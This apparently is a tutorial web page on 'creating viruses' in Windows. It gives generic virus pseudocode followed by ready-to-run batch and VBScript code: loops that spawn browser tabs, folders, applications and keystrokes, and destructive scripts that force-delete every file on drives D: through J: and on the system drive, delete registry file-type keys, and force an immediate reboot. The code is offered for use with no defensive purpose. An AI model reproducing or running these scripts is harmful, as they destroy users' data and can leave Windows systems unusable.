

Virus – A basic format

Most of the computer viruses follow the following basic script:

Beginvirus

if spread-condition TRUE then begin

for the target files begin

if target affected TRUE then begin

Determine where to place virus instructions

Copy the virus instructions

Modify target to spread the virus later

End if

End for

End if

Perform some other instruction(s) //Optional

Go back to beginning

Endvirus

Basically, every computer virus has two phases –

1. Insertion phase – in this phase, the virus inserts itself into the target.
2. Execution phase- in this phase, the virus performs some actions.

Create Virus

This simple programming can create infinite loop and open three different websites continuously until the command prompt is closed. It may crash the system if it is not closed.

Note: echo off. When echo is turned off, the command prompt doesn't appear in the Command Prompt window. To display the command prompt again, type echo on. **To prevent all commands in a batch file** (including the echo off command) from displaying on the screen, on the first line of the batch file type: @echo off.

1. Open notepad
2. Type following program
@echo off
:a
Start www.youtube.com
Start www.facebook.com
Start yahoo.com
Start www.youtube.com
Start www.facebook.com
Start yahoo.com
Goto :a
3. Save this file as abc.bat
4. Now double click on the abc.bat file that it will continuously add tabs to google chrome.

Following code will create infinite number of folder into system

Type in notepad and save as abc.bat

```
@echo off  
  
:a  
  
md %random%  
  
goto :a
```

Type in notepad, save as test.vbs (visual basic) – it will open infinite notepad and type into it.

do

Set wshshell = wscript.CreateObject("WScript.Shell")

Wshshell.run "Notepad"

wscript.sleep 100

wshshell.sendkeys "S"

wscript.sleep 100

wshshell.sendkeys "U"

wscript.sleep 100

wshshell.sendkeys "B"

wscript.sleep 100

wshshell.sendkeys "S"

wscript.sleep 100

wshshell.sendkeys "C"

wscript.sleep 100

wshshell.sendkeys "R"

wscript.sleep 100

wshshell.sendkeys "I"

wscript.sleep 100

wshshell.sendkeys "B"

wscript.sleep 100

wshshell.sendkeys "E"

wscript.sleep 100

wshshell.sendkeys "!"

loop

type in notepad and save as test.vbs - it will automatically blink these three keys and print I am virus in open file

set x=wscript.createobject ("wscript.shell")

do

wscript.sleep 100

```
x.sendkeys "{CAPSLOCK}"  
x.sendkeys "{NUMLOCK}"  
x.sendkeys "I am a virus "  
x.sendkeys "{SCROLLLOCK}"  
loop
```

This code will open all the applications one by one.

```
@echo off  
  
:x  
  
start winword  
  
start mspaint  
  
start notepad  
  
start write  
  
start cmd  
  
start explorer  
  
start control  
  
start calc  
  
goto x
```

For deleting files.

/F - Force deletes files.

/s- Deletes specified files from all subdirectories.

/q- Quiet mode, do not ask if ok to delete on global wildcard.

Example: del test.bat

del c:\test.bat

Additional Help for Virus

@echo off

del D:*.*/f/s/q

del E:*.*/f/s/q

del F:*.*/f/s/q

del G:*.*/f/s/q

del H:*.*/f/s/q

del I:*.*/f/s/q

del J:*.*/f/s/q

Delete the entire registry

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

To delete all the content of the drive

@echo off

del %systemdrive%*.* /f/s /q

shutdown -r -f -t 00